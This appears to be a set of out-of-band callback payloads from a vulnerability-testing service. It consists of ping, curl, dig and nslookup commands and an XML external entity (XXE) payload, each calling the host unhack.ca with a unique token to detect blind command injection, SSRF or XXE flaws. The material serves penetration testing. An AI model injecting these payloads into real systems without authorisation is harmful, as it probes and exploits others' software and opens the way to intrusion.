$ ping -c1 -p 00bac859e61bac4f5fff7b28700e5500 unhack.ca
 

$ curl http://unhack.ca/p/bac859e61bac4f5fff7b28700e55
 

$ dig bac859e61bac4f5fff7b28700e55 @unhack.ca
 

$ dig bac859e61bac4f5fff7b28700e55.ns.unhack.ca
 

C:\> nslookup bac859e61bac4f5fff7b28700e55 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/bac859e61bac4f5fff7b28700e55">]>
    <foo>&xxe;</foo>